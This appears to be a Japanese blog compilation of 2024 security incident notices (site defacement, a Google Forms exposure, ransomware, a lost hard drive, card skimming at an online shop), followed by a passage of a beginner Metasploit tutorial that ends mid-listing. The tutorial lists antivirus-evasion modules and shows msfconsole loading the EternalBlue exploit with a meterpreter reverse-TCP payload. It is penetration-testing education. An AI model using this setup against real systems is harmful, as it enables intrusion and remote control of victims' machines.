【セキュリティ事件簿#2024-339】宮崎県 県外ICT人材マッチング支援サイト「ひなターンみやざき」の改ざんについて 2024/7/30

 宮崎県企業振興課が管理するホームページ「ひなターンみやざき」について、アクセスすると当ホームページとは違うサイトが表示される事案が発生しました。

現在、「ひなターンみやざき」を閉鎖しています。

概要

インターネットの検索結果から「ひなターンみやざき」へアクセスすると、当ホームページとは関係のないサイトが表示される状況を、2024年7月30日に確認しました。当該状況の確認の後、「ひなターンみやざき」を閉鎖する対応を行い、改ざん内容の詳細な確認と原因究明をおこなっています。

「ひなターンみやざき」とは、県外ICT技術者と県内ICT企業とのマッチング支援のために、交流会の案内や県内ICT企業の紹介、移住情報などを提供するサイトです。当サイトにメールアドレス等を登録された方には、メールマガジンの配信をおこなっています。

内容

(1)判明日及び判明した経緯

2024年7月30日(火曜日)サイト管理業者の点検作業中に判明

7月26日(金曜日)のサイト管理業者による点検作業では問題がなかった事を確認しています。

(2)登録者データの漏えいの有無

現在、サーバー内の登録者(91名)の登録データについて、外部からの不正アクセスの有無を調査しています。

(登録データとは、ニックネーム・メールアドレス・性別・年齢・職種・出身地(「宮崎県」か「それ以外」の2択)・居住地(県単位で選択)・メールマガジン希望の有無・求人相談の有無・宮崎県とのつながり、です。)

(3)原因

現在、調査中です。

対応経過

  • 2024年7月30日(火曜日)当該状況を確認
  • 2024年7月30日(火曜日)「ひなターンみやざき」を閉鎖
  • 2024年7月30日(火曜日)「ひなターンみやざき」登録者へ状況を連絡するメールを送付
  • 2024年7月31日(水曜日)「ひなターンみやざき」登録者へサーバー内に登録データが含まれていること及び不正アクセスの有無について調査中であること等のメールを送付

今後の対応

原因が判明次第、今後改ざんされることのないよう適切な措置を講じるとともに、サーバー内に登録者データが残らないように改善した上で運用を再開することとしています。

リリース文アーカイブ

【セキュリティ事件簿#2024-270】株式会社Brave group 個人情報流出に関する調査結果と再発防止につきまして 2024/7/31

ぶいすぽっ
 

2024年6月25日よりご報告させていただいておりました、当社グループが運営するオーディションにおける個人情報流出があった事案(※)につきまして、漏えい対象者の皆様をはじめ、ファンの皆様、関係者の皆様には大変なご迷惑、ご心配をおかけすることを心より深くお詫び申し上げます。

本事案における原因と影響範囲の特定に向けて、当社および外部機関によるログ情報の調査・分析、社内関係者へのヒアリングなどの詳細調査を実施しておりましたが、この度、調査及び精査が完了いたしましたので、当該調査結果及び再発防止に向けた取り組みについてご報告いたします。

(※)個人情報流出に関するお詫びとご報告

1. 調査結果

・原因の特定について

本事案の経緯としまして、まず対象のオーディションにおけるGoogle Formsの編集用URLの閲覧範囲が「このリンクを知っているインターネット上の全員が閲覧できます」と設定されていたことから、この編集用URLのリンクを知っていれば、誰でも、編集用URLにアクセスし、上記個人情報を閲覧できる状態でありました。

ただし、オーディション応募フォーム上に掲載されているURL(回答用URL)と、回答内容が確認できるURL(編集用URL)は別のものとなっており、オーディションページに掲載されているURLは回答用URLであったこと、さらには回答用URLから編集用URLを容易に推察できるものでなかったことから、個人情報を閲覧できるURLがオーディションページ上で一般公開されていたわけではありませんでした。

しかしながら、該当のフォームにて閲覧・回答を行ったユーザが、自身のGoogleアカウントのGoogleアプリからフォームに移動した際に、「最近使用したフォーム」の欄に回答したフォームが表示され、そこから申込者の情報が閲覧可能な画面に遷移が可能となっておりました。

なお、本事案に関して外部機関による調査を依頼した結果、外部からの意図しないアクセスが発生した2024年6月4日 当時には、Google Formsの予告・通知のない仕様変更により、回答用URL から編集用URL を特定可能となる手法が存在していた可能性が高いことが判明いたしました。

この事象については2024年6月4日前後から発生したと推定され、2024年6月26日時点では既に再現ができなくなっていたことも確認されました。

以上の経緯から、2024年6月4日から該当フォームの閲覧制限を行った2024年6月25日の期間において、当社が意図していない外部の第三者が閲覧できる状況であったことがわかりました。

・影響範囲の確認について

本件を受け、当該インシデントと類似したケースを想定し、当社グループ内のGoogleドキュメント全般について、外部の第三者からの意図しないアクセス(漏えいの可能性)がないか、外部機関によるアクセスログの調査も実施いたしました。

その結果、第三者からの意図しないアクセスが確認されるのは、既に皆様にお知らせした以下の4つのGoogle Formsのみであることが確認されました。

「ぶいすぽっ!JP オーディション」

「Brave group総合オーディション」(グローバル向けの「Brave group総合オーディション」を含む)

「HareVare VLiverオーディション」

「ぶいすぽっ!切り抜き動画」のチャンネル許諾申請用Google Forms

具体的には、

①漏洩開始したと考えられる6月4日~6月25日において外部からのアクセス数が多いファイル

②2024年6月中の外部からのアクセスの割合が高いファイル

③1日当たりのアクセスログが異常値としてみなされるファイル

以上3つの観点から外部調査を行ったところ、オーディションフォームの他に5つのファイルが該当いたしましたが、いずれも外部からのアクセスは、当社が社内ルールに従ってリンクを共有した外部ユーザーのものと推定できるものであり、意図しない不正なアクセスはなかったことを確認いたしました。

2. 対策・対処

本事案については、既に以下の施策を実施しております。

当社グループ内全てのGoogle Workspaceにおいて、作成されたGoogle Formsを洗い出し、権限を「制限付き」(当社のドメインによるアクセス又は当社の許可がなければアクセスできない)に変更。

3.再発防止

今後の再発防止策として、①ファイル共有設定・権限の見直しによる制御、②個人情報の取り扱いに関するルールの整備・及び運用、③個人情報が含まれる情報取得時のアンケートツールの検討を行って参ります。

なお、再発防止策は2024年9月を目途に完了する予定です。

①ファイル共有設定・権限の見直しによる制御

Google Formsを含む全てのGoogle Workspaceサービスについて、「リンクを知っている全員への共有」等、アクセス制限がない公開設定を無効化することにより外部共有の制御を実施いたします。

②個人情報の取り扱いルールの整備・運用

個人情報に関する管理体制の強化、規程やルール等の見直し及び社内への周知を徹底して行い、個人情報を含めた情報管理に関する役員及び全従業員の意識の向上に取り組んでまいります。

③オーディション等の個人情報が含まれるアンケートにおける外部サービス利用の検討

個人情報を含む情報を取得するアンケートにおいては、Google Formsではない、メンバーを限定した利用が可能な外部サービスの利用を検討してまいります。

4.オーディションの再開について

本事案後、一時閉鎖の対応を取らせていただいているオーディションにつきまして、順次再開してまいります。

外部サービスの導入以前におきましては、まずはご応募時に入力いただく情報から「ご本名」「お電話番号」等といった個人情報の取得を制限し、当社でご用意した独自フォームにてご応募を受け付けて参ります。

当社といたしましては今回の事態を重く受け止め、今後このような事態が発生しないよう、再発防止に向けて個人情報の管理強化及び徹底に努め、信頼回復に全力を尽くしてまいります。この度は、多大なるご迷惑とご心配をおかけいたしましたこと、改めて心より深くお詫び申し上げます。

リリース文アーカイブ

【2024年6月25日リリース分】

リリース文アーカイブ

【セキュリティ事件簿#2023-338】⾧崎県立大学  本学が利用するe-ラーニングシステムへの不正アクセスに係る調査結果等について 2024/7/31

 

本学が利用しているe-ラーニングシステム(manabie:マナビー:以下、本システムと呼びます。)が第三者による不正アクセスを受けた件につきましては、令和5年8月22日及び令和5年12月7日にご報告しておりましたが、最終報告とし、下記のとおり対応についてお知らせいたします。

この度の不正アクセスにおいて、関係する皆様にご迷惑とご心配をおかけしましたことをあらためてお詫び申し上げます。なお、詳細は別添「e-ラーニングシステム(manabie:マナビー)不正アクセス報告書」をご確認ください。

1.今回の不正アクセスについての概要

令和5年8月4日 9 時 16 分頃、大学の公式ホームページを通じて、本システムが不正アクセスを受けているとの情報提供があり、調査した結果、本システムが第三者による不正アクセスを受け、サーバーに保管されていた個人情報が流出したおそれがあることが判明しました。

本システムのプログラムは、一般公開されているプログラムを基に構築しています。今回の不正アクセスでは、一般公開されているプログラムに脆弱性が発見され、外部のハッカーがその脆弱性を悪用し本システムに侵入しました。そして、本システムの運用については外部に委託していましたが、本学の委託先に対する監督が不十分であったことなどが問題であったと考えます。

外部の専門機関の調査の結果、情報漏えい等の痕跡は確認されませんでした。また、個人情報漏えいのおそれがあることを在校生および卒業生に連絡し、個人情報漏えいが疑われる場合は連絡を依頼していますが、現時点までに連絡はありません。今後も継続的に対応してまいります。

2.対応について

 今回、不正アクセスを受けた本システムは、廃止しました。

また、今回の不正アクセスを可能にした要因を踏まえ、以下の対応を着実に実施してまいります。

  • 一般利用されているプログラムの脆弱性情報収集と、本学で管理するシステムの定期的な脆弱性診断

  • システムをより安全に運用していくための委託契約スキームの見直し及び委託業者の監督強化

  • 不正アクセス等を早期に発見し、適切に対応して早期に回復するための初動マニュアルの整備や不正アクセス等の発生を想定した適切な体制づくり

  • 全教職員を対象とした情報セキュリティに関する実効性のある教育・訓練の実施

この度の不正アクセスにおいて、関係する皆様にご迷惑とご心配をおかけしましたことを重ねてお詫び申し上げます。今回の事態を重く受け止め、必要な対策を講じ、再発防止に努めてまいります。 

【2023年8月22日リリース分】

リリース文アーカイブ

【セキュリティ事件簿#2024-269】株式会社駒井ハルテック 当社におけるシステム障害について調査結果のお知らせ  2024/7/31

駒井ハルテック
 

当社の一部業務サーバが第三者による不正アクセスを受け、サーバ 内のファイルが暗号化される被害を受けましたことを、2024 年6月 24 日に確認し、6月 25 日、26 日に開示いたしました。

本件につきましては、外部の専門家等の協力を得て調査等を進めてまいりましたが、この度、調査が完了し、報告書を受領しましたので、調査結果、再発防止策、現状及び今後の対応について下記の通りお知らせいたします。

お取引先、関係先の皆様に多大なるご心配とご迷惑をおかけしたことを、深くお詫び申し上げます。

当社は、本件から得た教訓を活かし、再発防止に向けた包括的な対策を実施してまいります。

1.調査結果

不正アクセスによる暗号化ファイルは、サーバ4台より確認されました。うち1台に対しては、2024年6月 22 日 22 時ごろにリモートデスクトップ接続による不正ログオンが行われていたことが確認されました。

その後、6月 23 日 17 時ごろに同サーバを起点として4台に対しランサムウェアが実行され、ファイルの暗号化が行われたことが確認されました。

情報漏洩に関しましては、一部データの漏洩痕跡を確認しており、当該情報には当社従業員情報が含まれていたため、順次個別連絡を進めております。

現時点において、その他個人情報及びお取引先、関係先の皆様からお預かりした情報の漏洩については確認されておりませんが、新たな事実が判明した際には、開示いたします。

なお、2024 年6 月26 日に開示した通り、第95 回定時株主総会は2024 年6 月27 日に執り行い、2024年3 月期有価証券報告書は2024 年7 月1 日に提出いたしました。

2.再発防止策

本件を踏まえた再発防止の取り組みとして、教育とリスク管理を含めたセキュリティ体制の改善・強化など種々の対策を講じております。また、EDR(Endpoint Detection and Response 監視システム)の導入により、機器の不正な挙動等を早期に検知し対応することといたします。

3.現状及び今後の対応

現状、安全なネットワーク及びパソコンを用いて、生産や営業活動を再開しておりますが、その他業務への影響については引き続き確認中であります。今後は不審な通信先に意図せずアクセスするリスクを考慮しつつ、インターネット接続を徐々に開放し、2024 年8 月30 日以降は通常の通信環境に戻る予定としております。

また、本件による当社グループの今期の業績に与える影響につきましては、なお精査中であり、開示が必要な事実が判明次第、速やかに開示いたします。

【2024年6月25日リリース分】

リリース文アーカイブ

【セキュリティ事件簿#2024-338】市川市 職員の懲戒処分について 2024/7/29

 

地方公務員法に基づき、下記のとおり職員の処分を行いましたので公表いたします。

1.市営テニスコートの不正利用

(1)処分の理由

被処分者は、市営テニスコートを利用するに当たり、令和2年11月頃から複数年に渡り、同職員に与えられた職権を濫用して、市営テニスコートの使用に係る利用者登録及びその更新について不正な処理を行うとともに、職務に関連して把握した同職員以外の者の利用者IDを用いて市営テニスコートの申請の予約をした上、抽選等を経て決定された利用予定者を同職員に変更して、市営テニスコートを使用した。

(2)被処分者

 スポーツ部 副主幹(50歳代)

(3)処分内容

 停職3月

(4)処分年月日

 令和6年7月29日

(5)処分の根拠法令

 地方公務員法第29条第1項第1号、第2号及び第3号

リリース文アーカイブ

【セキュリティ事件簿#2024-337】日本貿易振興機構 個人情報を含む外付けハードディスクの紛失について 2024/7/31

 

このたび、当機構日本食品海外プロモーションセンター(JFOODO)において、事業に参加・関与された方の個人情報を含むデータが記録された外付けハードディスク(以下、「当該HDD」)の所在が不明となりました。

紛失したHDDに記録された個人情報は、団体・企業名、氏名、メールアドレス、電話番号が含まれていますが、システムなどの個人IDやパスワード、銀行口座、クレジットカードの情報はありません。

関係する皆さまに、ご迷惑、ご心配をおかけすることを深くお詫び申し上げますとともに、本事案の発生を深刻に受け止め、JFOODOを含むジェトロ全職員および関係者に情報の適切管理をあらためて周知徹底し、再発防止に努めていく所存でございます。

また、本事案の発表に際し、関係の皆様にはこれを悪用した詐欺などにご注意いただきますようお願いします。本件に関し、本機構職員が電話やメールで個人情報をお聞きすることは決してありません。

紛失場所

日本食品海外プロモーションセンター(JFOODO)執務室内

(東京都港区赤坂1丁目 12-32 アーク森ビル7階)

紛失した情報

日本食品海外プロモーションセンター(JFOODO)事業に参加・関与された方に関する以下の情報

  1. 企業・団体名、氏名等連絡先がない情報:14,436件
  2. 企業・団体名、氏名等(メールアドレス、電話番号を含む情報):5,960件(ジェトロ職員331名を含む)

紛失が判明した経緯

6月14日、当該HDDが所定の保管場所になく、使用の記録がないことが判明しました。速やかに当該部署内を捜索、職員が誤って自宅に持ち帰っていないかといった確認を行いましたが、現時点で見つかっておらず、引き続き捜索中です。

その後の調査を通じて、当該HDD内に個人情報等が含まれていることが判明したため、7月2日、個人情報保護委員会へ報告いたしました。

再発防止策

ジェトロでは、「個人情報保護方針」に基づき、個人情報管理の体制、規程などを整備し、お客様の個人情報を慎重に取扱い、安全かつ適切な保護に努めているところではございますが、本事案の発生を深刻に受け止め、個人情報や記録媒体の管理状況を総点検し、継続的な保有が不要な個人情報の削除を行い、今後、適切な管理体制を整備し、再発防止に努めてまいります。

リリース文アーカイブ

【セキュリティ事件簿#2024-242】株式会社東京玉子本舗  弊社が運営する「東京玉子本舗公式オンラインショップ」への 不正アクセスによる個人情報漏えいに関する お詫びとお知らせ 2024/7/31

東京玉子本舗

このたび、弊社が運営する「東京玉子本舗公式オンラインショップ」におきまして、第三者による不正アクセスを受けたことによって、お客様のクレジットカード情報(65,387件)および個人情報のみ(73,961件)が漏洩した可能性があることが判明いたしました。 お客様をはじめ、関係者の皆様に多大なるご迷惑およびご心配をおかけする事態となりましたこと、深くお詫び申し上げます。

なお、個人情報が漏洩した可能性のあるお客様には、本日より、電子メールまたは書面にてお詫びとお知らせを個別にご連絡申し上げております。 情報漏洩が確認された「東京玉子本舗公式オンラインショップ」は閉鎖しておりますが、弊社では今回の事態を厳粛に受け止め、再発防止のための対策を講じてまいります。 お客様をはじめ関係者の皆様には重ねてお詫びを申し上げますとともに、本件に関する概要につきまして、下記の通りご報告いたします。

1.経緯

2024年5月28日、警視庁から弊社運営サイトの一部が不正に改ざんされている可能性があり、利用したお客様のクレジットカード情報および個人情報の漏洩懸念があることについて連絡を受け、2024年5月28日「東京玉子本舗公式オンラインショップ」でのカード決済を停止し、2024年6月8日サイトを閉鎖いたしました。

同時に、第三者調査機関による調査も開始いたしました。2024年6月20日、調査機関による調査が完了し、2021年3月18日~2024年5月28日の期間に「東京玉子本舗公式オンラインショップ」で購入されたお客様のクレジットカード情報、および2019年4月22日から2024年5月28日までに登録された個人情報に漏洩した可能性があることを確認いたしました。

以上のとおり、本事案について弊社として本事案に関する事実関係が確認できたため、本日の発表に至りました。

2.個人情報漏洩状況

(1)原因

「東京玉子本舗公式オンラインショップ」のシステムの一部の脆弱性をついたことによる第三者の不正アクセスにより、ペイメントアプリケーションの改ざんが行われたため。

(2) クレジットカード情報漏洩の可能性があるお客様

2021年3月18日~2024年5月28日の期間中に「東京玉子本舗公式オンラインショップ」においてクレジットカード決済をされたお客様は65,387件で、漏洩した可能性のある情報は以下のとおりです。

・カード名義人名

・クレジットカード番号

・有効期限

・セキュリティコード

(3) 個人情報のみ漏洩の可能性があるお客様

サイトがオープンした2019年4月22日~2024年5月28日までに「東京玉子本舗公式オンラインショップ」をご利用されたお客様は73,961件で、漏洩した可能性のある情報は以下のとおりです。

・ 氏名

・ 住所

・ メールアドレス

・ 電話番号

・ FAX番号(任意)

・ 生年月日(任意)

・ 性別(任意)

・ 職業(任意)

・ 購入履歴

上記に該当する139,348件のお客様については、別途、電子メールまたは郵送にて個別にご連絡申し上げます。

3.お客様へのお願い

(1) クレジットカード不正利用のご確認とお願い

既に弊社では、クレジットカード会社と連携し、漏洩した可能性のあるクレジットカードによる取引のモニタリングを継続して実施し、不正利用の防止に努めております。

誠に恐縮ではございますが、お客様におかれましてもクレジットカードのご利用明細書に身に覚えのない請求項目がないか、今一度ご確認をお願いいたします。万が一、身に覚えのない請求項目の記載があった場合は、大変お手数ですが同クレジットカードの裏面に記載のカード会社にお問い合わせいただきますよう、併せてお願い申し上げます。

なお、お客様がクレジットカードの差し替えをご希望される場合、カード再発行の手数料につきましてはお客様にご負担をお掛けしないよう、弊社よりクレジットカード会社に依頼しております。

(2)その他の個人情報について

お客様のもとに差出人や件名に心当たりのない不審なメールが届いた際には、ウイルス感染や不正アクセス等の危険がございますので、メールに添付されているファイルは開封せず、メール自体を直ちに消去いただくようお願いいたします。不審な電話がかかってきた場合には、お客様の重要な情報等は決してお伝えにならないようお願いいたします。

4.再発防止策ならびに「東京玉子本舗公式オンラインショップ」の再開について

弊社はこのたびの事態を厳粛に受け止め、調査結果を踏まえてシステムのセキュリティ対策および監視体制の強化を行い、再発防止を図ってまいります。

改修後の「東京玉子本舗公式オンラインショップ」の再開日につきましては、決定次第、改めてWebサイト上にてお知らせいたします。

なお、弊社は今回の不正アクセスにつきまして、監督官庁である個人情報保護委員会には2024年6月3日に報告済みであり、また、警視庁にも2024年5月28日被害申告しており、今後捜査にも全面的に協力してまいります。

【2024/6/5リリース分】

リリース文アーカイブ

【KALI LINUX】 Metasploit入門

 Metasploit の紹介

Metasploit は、最も広く使われているエクスプロイト・フレームワークです。Metasploitは、情報収集からエクスプロイト後まで、侵入テストのすべてのフェーズをサポートできる強力なツールです。

Metasploitには主に2つのバージョンがあります:

  • Metasploit Pro: タスクの自動化と管理を容易にする商用バージョン。このバージョンにはグラフィカル・ユーザー・インターフェース(GUI)があります。

  • Metasploit Framework:コマンドラインから動作するオープンソース版。今回は無料で使えるこちらをベースに進めます。

Metasploit Frameworkは、情報収集、スキャン、エクスプロイト、エクスプロイト開発、ポストエクスプロイトなどを可能にするツールのセットです。Metasploit Frameworkの主な用途は侵入テスト領域ですが、脆弱性調査やエクスプロイト開発にも役立ちます。

Metasploit Frameworkの主なコンポーネントをまとめると、以下のようになります;;

  • msfconsole: メインのコマンドラインインターフェイス。
  • Modules: エクスプロイト、スキャナ、ペイロードなどのサポートモジュール。
  • Tools: 脆弱性調査、脆弱性評価、侵入テストを支援するスタンドアロンツール。msfvenom、pattern_create、pattern_offsetなどがあります。

Metasploitの主な構成要素

Metasploit Framework を使用している間は、主に Metasploit コンソールを使用します。コンソールはmsfconsole コマンドを使って起動できます。コンソールは、Metasploit Framework の様々なモジュールと対話するための主要なインターフェースとなります。モジュールとは、Metasploit フレームワーク内の小さなコンポーネントで、脆弱性の利用、ターゲットのスキャン、ブルートフォース攻撃の実行など、特定のタスクを実行するために構築されています。

モジュールに入る前に、「脆弱性」、「エクスプロイト」、「ペイロード」という、今後頻繁に出てくる用語を整理しておきましょう。

  • エクスプロイト: ターゲット・システムに存在する脆弱性を利用するコードの一部。

  • 脆弱性: ターゲット・システムに影響を及ぼす設計、コーディング、ロジックの欠陥。脆弱性が悪用されると、機密情報が開示されたり、攻撃者がターゲット・システム上でコードを実行できるようになったりする。

  • ペイロード: ターゲットシステム上で実行されるコードのこと。

それぞれのモジュールとカテゴリを以下に示します。Metasploit コンソール (msfconsole) を使って操作することが可能です。

Auxiliary

scanners、crawlers、fuzzersなどのサポート・モジュールがあります。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit

21 directories, 2 files


Encoders 

Encoders は、シグネチャベースのアンチウイルスソリューションがそれらを見逃すことを期待して、エクスプロイトとペイロードをエンコードすることを可能にします。

シグネチャベースのアンチウイルスおよびセキュリティソリューションには、既知の脅威のデータベースがあります。疑わしいファイルをこのデータベースと比較することで脅威を検出し、一致した場合に警告を発します。ウイルス対策ソリューションが追加のチェックを行うことができるため、エンコーダの成功率は限られたものになります。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 encoders/
encoders/
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86

11 directories, 0 files

Evasion

エンコーダーはペイロードをエンコードしますが、アンチウイルスソフトを回避する直接的な試みとはみなされるべきではありません。一方、「evasion(回避)」モジュールは、多かれ少なかれそれを試みます。

$ cd /usr/share/metasploit-framework/modules | tree -L 2 evasion/
evasion/
└── windows
    ├── applocker_evasion_install_util.rb
    ├── applocker_evasion_msbuild.rb
    ├── applocker_evasion_presentationhost.rb
    ├── applocker_evasion_regasm_regsvcs.rb
    ├── applocker_evasion_workflow_compiler.rb
    ├── process_herpaderping.rb
    ├── syscall_inject.rb
    ├── windows_defender_exe.rb
    └── windows_defender_js_hta.rb

2 directories, 9 files

Exploits

標的となるシステムごとに整理されています。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 exploits/
exploits/
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example_linux_priv_esc.rb
├── example.py
├── example.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows

21 directories, 4 files

NOPs

NOPs(No OPeration)は文字通り何もしません。インテルx86 CPUファミリでは0x90で表され、これ以降CPUは1サイクルの間何もしません。ペイロードサイズを一定にするためのバッファとしてよく使われます。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 nops/
nops/
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── sparc
├── tty
├── x64
└── x86

11 directories, 0 files

Payloads

ペイロードとは、ターゲット・システム上で実行されるコードのことで す。

エクスプロイトはターゲットシステムの脆弱性を活用しますが、望ましい結果を得るためにはペイロードが必要です。例えば、シェルの取得、ターゲットシステムへのマルウェアやバックドアのロード、コマンドの実行、侵入テストレポートに追加する概念実証としてのcalc.exeの起動などが考えられます。calc.exeアプリケーションを起動することで、ターゲットシステム上で電卓をリモートで起動することは、ターゲットシステム上でコマンドを実行できることを示す良性の方法です。

ターゲットシステム上でコマンドを実行することは既に重要なステップですが、ターゲットシステム上で実行されるコマンドを入力できる対話型接続を持つことは、より良いことです。このような対話型のコマンドラインは「シェル」と呼ばれます。Metasploit は、ターゲットシステム上でシェルを開くことができる様々なペイロードを送信する機能を提供します。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 payloads/
payloads/
├── adapters
├── singles
├── stagers
└── stages

5 directories, 0 files

payloadsの下に、adapters、singles、stagers、stagesの4つの異なるディレクトリがあります。

  • Adapters: adapter は単一のペイロードをラップして、異なる形式に変換します。例えば、通常のシングルペイロードはPowershell adapterの中にラップすることができ、これによりペイロードを実行する単一のpowershellコマンドが作成されます。

  • Singles: 実行するために追加のコンポーネントをダウンロードする必要のない、自己完結型のペイロード(ユーザーの追加、notepad.exe の起動など)。

  • Stagers: Metasploitとターゲットシステム間の接続チャネルを設定します。ステージングされたペイロードを扱うときに便利です。「ステージングされたペイロード」は、まずターゲットシステム上にstagerをアップロードし、その後ペイロードの残りの部分(stage)をダウンロードします。これにより、ペイロードの初期サイズが一度に送信される完全なペイロードに比べて比較的小さくなるため、いくつかの利点があります。

  • Stage : stagerによってダウンロードされる。これにより、より大きなサイズのペイロードを使用できるようになります。

Post

Post モジュールは、上記の侵入テスト・プロセスの最終段階である「侵入後」に役立ちます。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 post/
post/
├── aix
├── android
├── apple_ios
├── bsd
├── firefox
├── hardware
├── linux
├── multi
├── networking
├── osx
├── solaris
└── windows

13 directories, 0 files

Msfconsole

前述したように、コンソールは Metasploit Framework へのメインインターフェイスになります。Metasploit Frameworkがインストールされたシステム上でmsfconsoleコマンドを使って起動することができます。

$ msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true

                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            https://metasploit.com


       =[ metasploit v6.4.18-dev                          ]
+ -- --=[ 2437 exploits - 1255 auxiliary - 429 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

起動すると、コマンドラインが msf6 (インストールされている Metasploit のバージョンによっては msf5) に変わるのがわかるでしょう。Metasploitコンソール(msfconsole)は、以下のように通常のコマンドラインシェルと同じように使うことができます。最初のコマンドは ls で、msfconsole コマンドを使って Metasploit を起動したフォルダの中身を一覧表示します。

続いて、GoogleのDNS IPアドレス(8.8.8.8)にpingを送信します。-c 1オプションを追加しないと、CTRL+Cで停止するまでpingプロセスが続きます。

msf6 > ls
[*] exec: ls

auxiliary  encoders  evasion  exploits  nops  payloads  post  README.md
msf6 > ping -c 1 8.8.8.8
[*] exec: ping -c 1 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=108 time=95.3 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 95.286/95.286/95.286/0.000 ms
msf6 >

これは、clear(ターミナル画面をクリアする)を含むほとんどのLinuxコマンドをサポートしますが、以下のように、通常のコマンドラインのいくつかの機能を使用することはできません(例えば、出力のリダイレクトをサポートしていません)。

msf6 > help > help.txt
[-] No such command
msf6 >

ちなみに、helpコマンドは単独で使うことも、特定のコマンドに対して使うこともできます。以下は、これから取り上げるセットコマンドのヘルプメニューで す。

msf6 > help set
Usage: set [options] [name] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

OPTIONS:

    -c, --clear   Clear the values, explicitly setting to nil (default)
    -g, --global  Operate on global datastore variables
    -h, --help    Help banner.

msf6 >

history コマンドを使えば、以前に入力したコマンドを見ることができます。

msf6 > history
1   search smtp_version
・
・
・
59  show options
60  quit
61  ls
62  ping -c 1 8.8.8.8
63  help > help.txt
64  help set
65  history
msf6 >

msfconsole の重要な機能は、タブ補完のサポートです。これは後で Metasploit コマンドを使ったり、モジュールを扱ったりするときに便利です。例えば、「he」と入力し始め、タブキーを押すと、自動で補完されるのがわかります。

Msfconsoleはコンテキストで管理されます。つまり、グローバル変数として設定しない限り、使用するモジュールを変更すると、すべてのパラメータ設定が失われます。以下の例では、ms17_010_eternalblueエクスプロイトを使用し、RHOSTSなどのパラメータを設定しています。別のモジュール(ポートスキャナーなど)に切り替えた場合、行ったすべての変更がms17_010_eternalblue exploitのコンテキストに残るため、RHOSTS値を再度設定する必要があります。

この機能をよりよく理解するために、以下の例を見てみましょう。ここでは、説明のためにMS17-010「Eternalblue」エクスプロイトを使用します。

use exploit/windows/smb/ms17_010_eternalblueコマンドを入力すると、コマンド・ライン・プロンプトがmsf6から「msf6 exploit(windows/smb/ms17_010_eternalblue)」に変わるのがわかります。「EternalBlue」は、米国家安全保障局(N.S.A.)が開発したとされるエクスプロイトで、多数のWindowsシステム上のSMBv1サーバーに影響する脆弱性です。SMB(Server Message Block)は、ファイル共有やプリンターへのファイル送信など、Windowsネットワークで広く使われています。EternalBlueは2017年4月にサイバー犯罪者グループ「Shadow Brokers」によってリークさ れました。2017年5月、この脆弱性はWannaCryランサムウェア攻撃において世界中で悪用されました。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

使用するモジュールは、useコマンドの後に検索結果の行頭の番号を続けて入力しても選択できます。

プロンプトは変わりましたが、以前紹介したコマンドはまだ実行できることにお気づきでしょう。これは、オペレーティング・システムのコマンドラインで通常期待されるように、フォルダを「入力」していないことを意味します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls

auxiliary  encoders  evasion  exploits  nops  payloads  post  README.md
msf6 exploit(windows/smb/ms17_010_eternalblue) >

プロンプトが、これから作業するコンテキストが設定されたことを教えてくれます。これは、show optionsコマンドを入力することで確認できます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
